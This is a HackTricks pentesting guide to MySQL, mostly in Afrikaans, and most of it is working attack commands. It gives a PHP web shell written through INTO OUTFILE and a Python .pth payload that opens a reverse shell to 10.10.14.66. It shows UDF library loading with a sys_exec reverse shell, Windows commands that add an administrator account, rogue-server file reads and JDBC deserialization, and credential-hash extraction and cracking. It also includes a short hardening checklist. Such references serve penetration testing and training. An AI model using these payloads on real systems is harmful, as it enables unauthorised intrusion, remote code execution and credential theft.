# 3306 - Pentesting Mysql

{{#include ../banners/hacktricks-training.md}}

## **Basiese Inligting**

**MySQL** kan beskryf word as 'n oopbron **Relasionele Databasisbestuurstelsel (RDBMS)** wat gratis beskikbaar is. Dit werk op die **Gestructureerde Navraagtaal (SQL)**, wat die bestuur en manipulasie van databasisse moontlik maak.

**Standaard poort:** 3306
```
3306/tcp open  mysql
```
## **Verbind**

### **Plaaslik**
```bash
mysql -u root # Connect to root without password
mysql -u root -p # A password will be asked (check someone)
```
### Afgeleë
```bash
mysql -h <Hostname> -u root
mysql -h <Hostname> -u root@localhost
```
## Eksterne Enumerasie

Sommige van die enumerasie aksies vereis geldige akrediteer.
```bash
nmap -sV -p 3306 --script mysql-audit,mysql-databases,mysql-dump-hashes,mysql-empty-password,mysql-enum,mysql-info,mysql-query,mysql-users,mysql-variables,mysql-vuln-cve2012-2122 <IP>
msf> use auxiliary/scanner/mysql/mysql_version
msf> use auxiliary/scanner/mysql/mysql_authbypass_hashdump
msf> use auxiliary/scanner/mysql/mysql_hashdump #Creds
msf> use auxiliary/admin/mysql/mysql_enum #Creds
msf> use auxiliary/scanner/mysql/mysql_schemadump #Creds
msf> use exploit/windows/mysql/mysql_start_up #Execute commands Windows, Creds
```
### [**Brute force**](../generic-hacking/brute-force.md#mysql)

### Skryf enige binêre data
```bash
CONVERT(unhex("6f6e2e786d6c55540900037748b75c7249b75"), BINARY)
CONVERT(from_base64("aG9sYWFhCg=="), BINARY)
```
## **MySQL-opdragte**
```bash
show databases;
use <database>;
connect <database>;
show tables;
describe <table_name>;
show columns from <table>;

select version(); #version
select @@version(); #version
select user(); #User
select database(); #database name

#Get a shell with the mysql client user
\! sh

#Basic MySQLi
Union Select 1,2,3,4,group_concat(0x7c,table_name,0x7C) from information_schema.tables
Union Select 1,2,3,4,column_name from information_schema.columns where table_name="<TABLE NAME>"

#Read & Write
## Yo need FILE privilege to read & write to files.
select load_file('/var/lib/mysql-files/key.txt'); #Read file
select 1,2,"<?php echo shell_exec($_GET['c']);?>",4 into OUTFILE 'C:/xampp/htdocs/back.php'

#Try to change MySQL root password
UPDATE mysql.user SET Password=PASSWORD('MyNewPass') WHERE User='root';
UPDATE mysql.user SET authentication_string=PASSWORD('MyNewPass') WHERE User='root';
FLUSH PRIVILEGES;
quit;
```

```bash
mysql -u username -p < manycommands.sql #A file with all the commands you want to execute
mysql -u root -h 127.0.0.1 -e 'show databases;'
```
### MySQL Toestemmings Enumerasie
```sql
#Mysql
SHOW GRANTS [FOR user];
SHOW GRANTS;
SHOW GRANTS FOR 'root'@'localhost';
SHOW GRANTS FOR CURRENT_USER();

# Get users, permissions & hashes
SELECT * FROM mysql.user;

#From DB
select * from mysql.user where user='root';
## Get users with file_priv
select user,file_priv from mysql.user where file_priv='Y';
## Get users with Super_priv
select user,Super_priv from mysql.user where Super_priv='Y';

# List functions
SELECT routine_name FROM information_schema.routines WHERE routine_type = 'FUNCTION';
#@ Functions not from sys. db
SELECT routine_name FROM information_schema.routines WHERE routine_type = 'FUNCTION' AND routine_schema!='sys';
```
You can see in the docs the meaning of each privilege: [https://dev.mysql.com/doc/refman/8.0/en/privileges-provided.html](https://dev.mysql.com/doc/refman/8.0/en/privileges-provided.html#priv_execute)

### MySQL File RCE

{{#ref}}
../pentesting-web/sql-injection/mysql-injection/mysql-ssrf.md
{{#endref}}

#### INTO OUTFILE → Python `.pth` RCE (site-spesifieke konfigurasie haakies)

Deur die klassieke `INTO OUTFILE` primitief te misbruik, is dit moontlik om *arbitraire kode-uitvoering* op teikens te verkry wat later **Python** skripte uitvoer.

1. Gebruik `INTO OUTFILE` om 'n pasgemaakte **`.pth`** lêer binne enige gids te laat val wat outomaties deur `site.py` gelaai word (bv. `.../lib/python3.10/site-packages/`).
2. Die `.pth` lêer kan 'n *enkele lyn* bevat wat begin met `import ` gevolg deur arbitraire Python kode wat elke keer uitgevoer sal word wanneer die interpreter begin.
3. Wanneer die interpreter implisiet deur 'n CGI-skrip uitgevoer word (byvoorbeeld `/cgi-bin/ml-draw.py` met shebang `#!/bin/python`), word die payload uitgevoer met dieselfde voorregte as die web-bediener proses (FortiWeb het dit as **root** uitgevoer → volle pre-auth RCE).

Voorbeeld `.pth` payload (enkele lyn, geen spaties kan in die finale SQL payload ingesluit word nie, so hex/`UNHEX()` of string-konkatenasie mag benodig word):
```python
import os,sys,subprocess,base64;subprocess.call("bash -c 'bash -i >& /dev/tcp/10.10.14.66/4444 0>&1'",shell=True)
```
Voorbeeld van die opstel van die lêer deur middel van 'n **UNION** navraag (spasie karakters vervang met `/**/` om 'n `sscanf("%128s")` spasie filter te omseil en die totale lengte ≤128 bytes te hou):
```sql
'/**/UNION/**/SELECT/**/token/**/FROM/**/fabric_user.user_table/**/INTO/**/OUTFILE/**/'../../lib/python3.10/site-packages/x.pth'
```
Belangrike beperkings & omseilings:

* `INTO OUTFILE` **kan nie** bestaande lêers oorskryf nie; kies 'n nuwe lêernaam.
* Die lêerpad word **relatief tot MySQL se CWD** opgelos, so om te prefix met `../../` help om die pad te verkort en absolute-pad beperkings te omseil.
* As die aanvallerinvoer met `%128s` (of soortgelyk) onttrek word, sal enige spasie die payload afbreek; gebruik MySQL kommentaarreekse `/**/` of `/*!*/` om spasies te vervang.
* Die MySQL gebruiker wat die navraag uitvoer, benodig die `FILE` voorreg, maar in baie toestelle (bv. FortiWeb) loop die diens as **root**, wat skrywe toegang byna oral gee.

Na die `.pth` verwydering, vra eenvoudig enige CGI wat deur die python interpreter hanteer word om kode-uitvoering te verkry:
```
GET /cgi-bin/ml-draw.py HTTP/1.1
Host: <target>
```
Die Python-proses sal die kwaadwillige `.pth` outomaties invoer en die shell payload uitvoer.
```
# Attacker
$ nc -lvnp 4444
id
uid=0(root) gid=0(root) groups=0(root)
```
---

## MySQL arbitrêre lêer lees deur kliënt

Werklik, wanneer jy probeer om **data plaaslik in 'n tabel te laai** die **inhoud van 'n lêer** vra die MySQL of MariaDB bediener die **kliënt om dit te lees** en die inhoud te stuur. **Dan, as jy 'n mysql kliënt kan manipuleer om met jou eie MySQL bediener te verbind, kan jy arbitrêre lêers lees.**\
Let asseblief op dat dit die gedrag is wat gebruik word:
```bash
load data local infile "/etc/passwd" into table test FIELDS TERMINATED BY '\n';
```
(Let op die "lokale" woord)\
Want sonder die "lokale" kan jy kry:
```bash
mysql> load data infile "/etc/passwd" into table test FIELDS TERMINATED BY '\n';

ERROR 1290 (HY000): The MySQL server is running with the --secure-file-priv option so it cannot execute this statement
```
**Aanvanklike PoC:** [**https://github.com/allyshka/Rogue-MySql-Server**](https://github.com/allyshka/Rogue-MySql-Server)\
**In hierdie artikel kan jy 'n volledige beskrywing van die aanval sien en selfs hoe om dit uit te brei na RCE:** [**https://paper.seebug.org/1113/**](https://paper.seebug.org/1113/)\
**Hier kan jy 'n oorsig van die aanval vind:** [**http://russiansecurity.expert/2016/04/20/mysql-connect-file-read/**](http://russiansecurity.expert/2016/04/20/mysql-connect-file-read/)

​



## POST

### Mysql Gebruiker

Dit sal baie interessant wees as mysql as **root** loop:
```bash
cat /etc/mysql/mysql.conf.d/mysqld.cnf | grep -v "#" | grep "user"
systemctl status mysql 2>/dev/null | grep -o ".\{0,0\}user.\{0,50\}" | cut -d '=' -f2 | cut -d ' ' -f1
```
#### Gevaarlike Instellings van mysqld.cnf

In die konfigurasie van MySQL dienste, word verskeie instellings gebruik om sy werking en sekuriteitsmaatreëls te definieer:

- Die **`user`** instelling word gebruik om die gebruiker aan te dui waaronder die MySQL diens uitgevoer sal word.
- **`password`** word toegepas om die wagwoord wat met die MySQL gebruiker geassosieer word, te vestig.
- **`admin_address`** spesifiseer die IP-adres wat luister vir TCP/IP verbindings op die administratiewe netwerkinterfase.
- Die **`debug`** veranderlike is aanduidend van die huidige foutopsporing konfigurasies, insluitend sensitiewe inligting binne logs.
- **`sql_warnings`** bestuur of inligtingsstringe gegenereer word vir enkel-ry INSERT verklarings wanneer waarskuwings ontstaan, wat sensitiewe data binne logs bevat.
- Met **`secure_file_priv`** word die omvang van data-invoer en -uitvoer operasies beperk om sekuriteit te verbeter.

### Privilege escalation
```bash
# Get current user (an all users) privileges and hashes
use mysql;
select user();
select user,password,create_priv,insert_priv,update_priv,alter_priv,delete_priv,drop_priv from user;

# Get users, permissions & creds
SELECT * FROM mysql.user;
mysql -u root --password=<PASSWORD> -e "SELECT * FROM mysql.user;"

# Create user and give privileges
create user test identified by 'test';
grant SELECT,CREATE,DROP,UPDATE,DELETE,INSERT on *.* to mysql identified by 'mysql' WITH GRANT OPTION;

# Get a shell (with your permissions, usefull for sudo/suid privesc)
\! sh
```
### Privilege Escalation via library

As die **mysql bediener as root** (of 'n ander meer bevoorregte gebruiker) loop, kan jy dit laat opdragte uitvoer. Hiervoor moet jy **gebruikers gedefinieerde funksies** gebruik. En om 'n gebruikers gedefinieerde funksie te skep, sal jy 'n **biblioteek** vir die OS wat mysql draai, nodig hê.

Die kwaadwillige biblioteek om te gebruik kan binne sqlmap en binne metasploit gevind word deur **`locate "*lib_mysqludf_sys*"`** te doen. Die **`.so`** lêers is **linux** biblioteke en die **`.dll`** is die **Windows** een, kies die een wat jy nodig het.

As jy **nie** daardie biblioteke het nie, kan jy of **soek daarna**, of hierdie [**linux C kode**](https://www.exploit-db.com/exploits/1518) aflaai en **dit binne die linux kwesbare masjien kompileer**:
```bash
gcc -g -c raptor_udf2.c
gcc -g -shared -Wl,-soname,raptor_udf2.so -o raptor_udf2.so raptor_udf2.o -lc
```
Nou dat jy die biblioteek het, teken in binne die Mysql as 'n bevoorregte gebruiker (root?) en volg die volgende stappe:

#### Linux
```sql
# Use a database
use mysql;
# Create a table to load the library and move it to the plugins dir
create table npn(line blob);
# Load the binary library inside the table
## You might need to change the path and file name
insert into npn values(load_file('/tmp/lib_mysqludf_sys.so'));
# Get the plugin_dir path
show variables like '%plugin%';
# Supposing the plugin dir was /usr/lib/x86_64-linux-gnu/mariadb19/plugin/
# dump in there the library
select * from npn into dumpfile '/usr/lib/x86_64-linux-gnu/mariadb19/plugin/lib_mysqludf_sys.so';
# Create a function to execute commands
create function sys_exec returns integer soname 'lib_mysqludf_sys.so';
# Execute commands
select sys_exec('id > /tmp/out.txt; chmod 777 /tmp/out.txt');
select sys_exec('bash -c "bash -i >& /dev/tcp/10.10.14.66/1234 0>&1"');
```
#### Windows
```sql
# CHech the linux comments for more indications
USE mysql;
CREATE TABLE npn(line blob);
INSERT INTO npn values(load_file('C://temp//lib_mysqludf_sys.dll'));
show variables like '%plugin%';
SELECT * FROM mysql.npn INTO DUMPFILE 'c://windows//system32//lib_mysqludf_sys_32.dll';
CREATE FUNCTION sys_exec RETURNS integer SONAME 'lib_mysqludf_sys_32.dll';
SELECT sys_exec("net user npn npn12345678 /add");
SELECT sys_exec("net localgroup Administrators npn /add");
```
### Uittreksel van MySQL geloofsbriewe uit lêers

Binne _/etc/mysql/debian.cnf_ kan jy die **duidelike wagwoord** van die gebruiker **debian-sys-maint** vind
```bash
cat /etc/mysql/debian.cnf
```
U kan **hierdie geloofsbriewe gebruik om in die mysql-databasis aan te meld**.

Binne die lêer: _/var/lib/mysql/mysql/user.MYD_ kan u **alle hashes van die MySQL gebruikers** vind (diegene wat u uit mysql.user binne die databasis kan onttrek)_._

U kan dit onttrek deur:
```bash
grep -oaE "[-_\.\*a-Z0-9]{3,}" /var/lib/mysql/mysql/user.MYD | grep -v "mysql_native_password"
```
### Aktivering van logging

Jy kan logging van mysql navrae aktief maak binne `/etc/mysql/my.cnf` deur die volgende lyne te ontmerk:

![](<../images/image (899).png>)

### Nuttige lêers

Konfigurasie Lêers

- windows \*
- config.ini
- my.ini
- windows\my.ini
- winnt\my.ini
- \<InstDir>/mysql/data/
- unix
- my.cnf
- /etc/my.cnf
- /etc/mysql/my.cnf
- /var/lib/mysql/my.cnf
- \~/.my.cnf
- /etc/my.cnf
- Opdrag Geskiedenis
- \~/.mysql.history
- Log Lêers
- connections.log
- update.log
- common.log

## Standaard MySQL Databasis/Tabelle

{{#tabs}}
{{#tab name="information_schema"}}
ALL_PLUGINS\
APPLICABLE_ROLES\
CHARACTER_SETS\
CHECK_CONSTRAINTS\
COLLATIONS\
COLLATION_CHARACTER_SET_APPLICABILITY\
COLUMNS\
COLUMN_PRIVILEGES\
ENABLED_ROLES\
ENGINES\
EVENTS\
FILES\
GLOBAL_STATUS\
GLOBAL_VARIABLES\
KEY_COLUMN_USAGE\
KEY_CACHES\
OPTIMIZER_TRACE\
PARAMETERS\
PARTITIONS\
PLUGINS\
PROCESSLIST\
PROFILING\
REFERENTIAL_CONSTRAINTS\
ROUTINES\
SCHEMATA\
SCHEMA_PRIVILEGES\
SESSION_STATUS\
SESSION_VARIABLES\
STATISTICS\
SYSTEM_VARIABLES\
TABLES\
TABLESPACES\
TABLE_CONSTRAINTS\
TABLE_PRIVILEGES\
TRIGGERS\
USER_PRIVILEGES\
VIEWS\
INNODB_LOCKS\
INNODB_TRX\
INNODB_SYS_DATAFILES\
INNODB_FT_CONFIG\
INNODB_SYS_VIRTUAL\
INNODB_CMP\
INNODB_FT_BEING_DELETED\
INNODB_CMP_RESET\
INNODB_CMP_PER_INDEX\
INNODB_CMPMEM_RESET\
INNODB_FT_DELETED\
INNODB_BUFFER_PAGE_LRU\
INNODB_LOCK_WAITS\
INNODB_TEMP_TABLE_INFO\
INNODB_SYS_INDEXES\
INNODB_SYS_TABLES\
INNODB_SYS_FIELDS\
INNODB_CMP_PER_INDEX_RESET\
INNODB_BUFFER_PAGE\
INNODB_FT_DEFAULT_STOPWORD\
INNODB_FT_INDEX_TABLE\
INNODB_FT_INDEX_CACHE\
INNODB_SYS_TABLESPACES\
INNODB_METRICS\
INNODB_SYS_FOREIGN_COLS\
INNODB_CMPMEM\
INNODB_BUFFER_POOL_STATS\
INNODB_SYS_COLUMNS\
INNODB_SYS_FOREIGN\
INNODB_SYS_TABLESTATS\
GEOMETRY_COLUMNS\
SPATIAL_REF_SYS\
CLIENT_STATISTICS\
INDEX_STATISTICS\
USER_STATISTICS\
INNODB_MUTEXES\
TABLE_STATISTICS\
INNODB_TABLESPACES_ENCRYPTION\
user_variables\
INNODB_TABLESPACES_SCRUBBING\
INNODB_SYS_SEMAPHORE_WAITS
{{#endtab}}

{{#tab name="mysql"}}
columns_priv\
column_stats\
db\
engine_cost\
event\
func\
general_log\
gtid_executed\
gtid_slave_pos\
help_category\
help_keyword\
help_relation\
help_topic\
host\
index_stats\
innodb_index_stats\
innodb_table_stats\
ndb_binlog_index\
plugin\
proc\
procs_priv\
proxies_priv\
roles_mapping\
server_cost\
servers\
slave_master_info\
slave_relay_log_info\
slave_worker_info\
slow_log\
tables_priv\
table_stats\
time_zone\
time_zone_leap_second\
time_zone_name\
time_zone_transition\
time_zone_transition_type\
transaction_registry\
user
{{#endtab}}

{{#tab name="performance_schema"}}
accounts\
cond_instances\
events_stages_current\
events_stages_history\
events_stages_history_long\
events_stages_summary_by_account_by_event_name\
events_stages_summary_by_host_by_event_name\
events_stages_summary_by_thread_by_event_name\
events_stages_summary_by_user_by_event_name\
events_stages_summary_global_by_event_name\
events_statements_current\
events_statements_history\
events_statements_history_long\
events_statements_summary_by_account_by_event_name\
events_statements_summary_by_digest\
events_statements_summary_by_host_by_event_name\
events_statements_summary_by_program\
events_statements_summary_by_thread_by_event_name\
events_statements_summary_by_user_by_event_name\
events_statements_summary_global_by_event_name\
events_transactions_current\
events_transactions_history\
events_transactions_history_long\
events_transactions_summary_by_account_by_event_name\
events_transactions_summary_by_host_by_event_name\
events_transactions_summary_by_thread_by_event_name\
events_transactions_summary_by_user_by_event_name\
events_transactions_summary_global_by_event_name\
events_waits_current\
events_waits_history\
events_waits_history_long\
events_waits_summary_by_account_by_event_name\
events_waits_summary_by_host_by_event_name\
events_waits_summary_by_instance\
events_waits_summary_by_thread_by_event_name\
events_waits_summary_by_user_by_event_name\
events_waits_summary_global_by_event_name\
file_instances\
file_summary_by_event_name\
file_summary_by_instance\
global_status\
global_variables\
host_cache\
hosts\
memory_summary_by_account_by_event_name\
memory_summary_by_host_by_event_name\
memory_summary_by_thread_by_event_name\
memory_summary_by_user_by_event_name\
memory_summary_global_by_event_name\
metadata_locks\
mutex_instances\
objects_summary_global_by_type\
performance_timers\
prepared_statements_instances\
replication_applier_configuration\
replication_applier_status\
replication_applier_status_by_coordinator\
replication_applier_status_by_worker\
replication_connection_configuration\
replication_connection_status\
replication_group_member_stats\
replication_group_members\
rwlock_instances\
session_account_connect_attrs\
session_connect_attrs\
session_status\
session_variables\
setup_actors\
setup_consumers\
setup_instruments\
setup_objects\
setup_timers\
socket_instances\
socket_summary_by_event_name\
socket_summary_by_instance\
status_by_account\
status_by_host\
status_by_thread\
status_by_user\
table_handles\
table_io_waits_summary_by_index_usage\
table_io_waits_summary_by_table\
table_lock_waits_summary_by_table\
threads\
user_variables_by_thread\
users\
variables_by_thread
{{#endtab}}

{{#tab name="sys"}}
host_summary\
host_summary_by_file_io\
host_summary_by_file_io_type\
host_summary_by_stages\
host_summary_by_statement_latency\
host_summary_by_statement_type\
innodb_buffer_stats_by_schema\
innodb_buffer_stats_by_table\
innodb_lock_waits\
io_by_thread_by_latency\
io_global_by_file_by_bytes\
io_global_by_file_by_latency\
io_global_by_wait_by_bytes\
io_global_by_wait_by_latency\
latest_file_io\
memory_by_host_by_current_bytes\
memory_by_thread_by_current_bytes\
memory_by_user_by_current_bytes\
memory_global_by_current_bytes\
memory_global_total\
metrics\
processlist\
ps_check_lost_instrumentation\
schema_auto_increment_columns\
schema_index_statistics\
schema_object_overview\
schema_redundant_indexes\
schema_table_lock_waits\
schema_table_statistics\
schema_table_statistics_with_buffer\
schema_tables_with_full_table_scans\
schema_unused_indexes\
session\
session_ssl_status\
statement_analysis\
statements_with_errors_or_warnings\
statements_with_full_table_scans\
statements_with_runtimes_in_95th_percentile\
statements_with_sorting\
statements_with_temp_tables\
sys_config\
user_summary\
user_summary_by_file_io\
user_summary_by_file_io_type\
user_summary_by_stages\
user_summary_by_statement_latency\
user_summary_by_statement_type\
version\
wait_classes_global_by_avg_latency\
wait_classes_global_by_latency\
waits_by_host_by_latency\
waits_by_user_by_latency\
waits_global_by_latency\
x$host\_summary\
x$host_summary_by_file_io\
x$host\_summary\_by\_file\_io\_type\
x$host_summary_by_stages\
x$host\_summary\_by\_statement\_latency\
x$host_summary_by_statement_type\
x$innodb\_buffer\_stats\_by\_schema\
x$innodb_buffer_stats_by_table\
x$innodb\_lock\_waits\
x$io_by_thread_by_latency\
x$io\_global\_by\_file\_by\_bytes\
x$io_global_by_file_by_latency\
x$io\_global\_by\_wait\_by\_bytes\
x$io_global_by_wait_by_latency\
x$latest\_file\_io\
x$memory_by_host_by_current_bytes\
x$memory\_by\_thread\_by\_current\_bytes\
x$memory_by_user_by_current_bytes\
x$memory\_global\_by\_current\_bytes\
x$memory_global_total\
x$processlist\
x$ps_digest_95th_percentile_by_avg_us\
x$ps\_digest\_avg\_latency\_distribution\
x$ps_schema_table_statistics_io\
x$schema\_flattened\_keys\
x$schema_index_statistics\
x$schema\_table\_lock\_waits\
x$schema_table_statistics\
x$schema\_table\_statistics\_with\_buffer\
x$schema_tables_with_full_table_scans\
x$session\
x$statement_analysis\
x$statements\_with\_errors\_or\_warnings\
x$statements_with_full_table_scans\
x$statements\_with\_runtimes\_in\_95th\_percentile\
x$statements_with_sorting\
x$statements\_with\_temp\_tables\
x$user_summary\
x$user\_summary\_by\_file\_io\
x$user_summary_by_file_io_type\
x$user\_summary\_by\_stages\
x$user_summary_by_statement_latency\
x$user\_summary\_by\_statement\_type\
x$wait_classes_global_by_avg_latency\
x$wait\_classes\_global\_by\_latency\
x$waits_by_host_by_latency\
x$waits\_by\_user\_by\_latency\
x$waits_global_by_latency
{{#endtab}}
{{#endtabs}}

## HackTricks Outomatiese Opdragte
```
Protocol_Name: MySql    #Protocol Abbreviation if there is one.
Port_Number:  3306     #Comma separated if there is more than one.
Protocol_Description: MySql     #Protocol Abbreviation Spelled out

Entry_1:
Name: Notes
Description: Notes for MySql
Note: |
MySQL is a freely available open source Relational Database Management System (RDBMS) that uses Structured Query Language (SQL).

https://book.hacktricks.wiki/en/network-services-pentesting/pentesting-mysql.html

Entry_2:
Name: Nmap
Description: Nmap with MySql Scripts
Command: nmap --script=mysql-databases.nse,mysql-empty-password.nse,mysql-enum.nse,mysql-info.nse,mysql-variables.nse,mysql-vuln-cve2012-2122.nse {IP} -p 3306

Entry_3:
Name: MySql
Description: Attempt to connect to mysql server
Command: mysql -h {IP} -u {Username}@localhost

Entry_4:
Name: MySql consolesless mfs enumeration
Description: MySql enumeration without the need to run msfconsole
Note: sourced from https://github.com/carlospolop/legion
Command: msfconsole -q -x 'use auxiliary/scanner/mysql/mysql_version; set RHOSTS {IP}; set RPORT 3306; run; exit' && msfconsole -q -x 'use auxiliary/scanner/mysql/mysql_authbypass_hashdump; set RHOSTS {IP}; set RPORT 3306; run; exit' && msfconsole -q -x 'use auxiliary/admin/mysql/mysql_enum; set RHOSTS {IP}; set RPORT 3306; run; exit' && msfconsole -q -x 'use auxiliary/scanner/mysql/mysql_hashdump; set RHOSTS {IP}; set RPORT 3306; run; exit' && msfconsole -q -x 'use auxiliary/scanner/mysql/mysql_schemadump; set RHOSTS {IP}; set RPORT 3306; run; exit'

```
## 2023-2025 Hoogtepunte (nuut)

### JDBC `propertiesTransform` deserialisering (CVE-2023-21971)
Vanaf Connector/J <= 8.0.32 kan 'n aanvaller wat die **JDBC URL** kan beïnvloed (byvoorbeeld in derdeparty-sagteware wat om 'n verbindingsstring vra) arbitrêre klasse versoek om op die *klant* kant gelaai te word via die `propertiesTransform` parameter. As 'n gadget wat op die klas-pad teenwoordig is, gelaai kan word, lei dit tot **afgeleë kode-uitvoering in die konteks van die JDBC-klant** (voor-auth, omdat geen geldige akrediteerbesonderhede vereis word nie). 'n Minimale PoC lyk soos:
```java
jdbc:mysql://<attacker-ip>:3306/test?user=root&password=root&propertiesTransform=com.evil.Evil
```
Die uitvoering van `Evil.class` kan so maklik wees soos om dit op die klas-pad van die kwesbare toepassing te produseer of om 'n onbetroubare MySQL-bediener toe te laat om 'n kwaadwillige geserialiseerde objek te stuur. Die probleem is in Connector/J 8.0.33 reggestel – werk die bestuurder op of stel `propertiesTransform` eksplisiet op 'n toelaat-lis.

(Verwys na Snyk se skrywe vir besonderhede)

### Onbetroubare / Vals MySQL-bediener aanvalle teen JDBC-kliënte
Verskeie oopbron gereedskap implementeer 'n *gedeeltelike* MySQL-protokol om JDBC-kliënte wat buite verbind, aan te val:

* **mysql-fake-server** (Java, ondersteun lêer lees en deserialisering eksplosies)
* **rogue_mysql_server** (Python, soortgelyke vermoëns)

Tipiese aanvalspaaie:

1. Slachtoffer toepassing laai `mysql-connector-j` met `allowLoadLocalInfile=true` of `autoDeserialize=true`.
2. Aanvaller beheer DNS / gasheer inskrywing sodat die gasheernaam van die DB na 'n masjien onder hul beheer oplos.
3. Kwaadwillige bediener reageer met saamgestelde pakkette wat óf `LOCAL INFILE` arbitrêre lêer lees of Java deserialisering aktiveer → RCE.

Voorbeeld een-liner om 'n vals bediener te begin (Java):
```bash
java -jar fake-mysql-cli.jar -p 3306  # from 4ra1n/mysql-fake-server
```
Dan wys die slagoffer toepassing na `jdbc:mysql://attacker:3306/test?allowLoadLocalInfile=true` en lees `/etc/passwd` deur die lêernaam as base64 in die *username* veld (`fileread_/etc/passwd` → `base64ZmlsZXJlYWRfL2V0Yy9wYXNzd2Q=`).

### Krake `caching_sha2_password` hashes
MySQL ≥ 8.0 stoor wagwoord hashes as **`$mysql-sha2$`** (SHA-256). Beide Hashcat (modus **21100**) en John-the-Ripper (`--format=mysql-sha2`) ondersteun offline kraking sedert 2023. Dump die `authentication_string` kolom en voer dit direk in:
```bash
# extract hashes
echo "$mysql-sha2$AABBCC…" > hashes.txt
# Hashcat
hashcat -a 0 -m 21100 hashes.txt /path/to/wordlist
# John the Ripper
john --format=mysql-sha2 hashes.txt --wordlist=/path/to/wordlist
```
### Versterking kontrolelys (2025)
• Stel **`LOCAL_INFILE=0`** en **`--secure-file-priv=/var/empty`** in om die meeste lêer-lees/skryf primitiewe te beëindig.  
• Verwyder die **`FILE`** voorreg van toepassingsrekeninge.  
• Op Connector/J stel `allowLoadLocalInfile=false`, `allowUrlInLocalInfile=false`, `autoDeserialize=false`, `propertiesTransform=` (leeg).  
• Deaktiveer ongebruikte verifikasie-inproppe en **vereis TLS** (`require_secure_transport = ON`).  
• Monitor vir `CREATE FUNCTION`, `INSTALL COMPONENT`, `INTO OUTFILE`, `LOAD DATA LOCAL` en skielike `SET GLOBAL` verklarings.  

---

## Verwysings
- [Pre-auth SQLi to RCE in Fortinet FortiWeb (watchTowr Labs)](https://labs.watchtowr.com/pre-auth-sql-injection-to-rce-fortinet-fortiweb-fabric-connector-cve-2025-25257/)  
- [Oracle MySQL Connector/J propertiesTransform RCE – CVE-2023-21971 (Snyk)](https://security.snyk.io/vuln/SNYK-JAVA-COMMYSQL-5441540)  
- [mysql-fake-server – Rogue MySQL server for JDBC client attacks](https://github.com/4ra1n/mysql-fake-server)  

- [Pre-auth SQLi to RCE in Fortinet FortiWeb (watchTowr Labs)](https://labs.watchtowr.com/pre-auth-sql-injection-to-rce-fortinet-fortiweb-fabric-connector-cve-2025-25257/)  

{{#include ../banners/hacktricks-training.md}}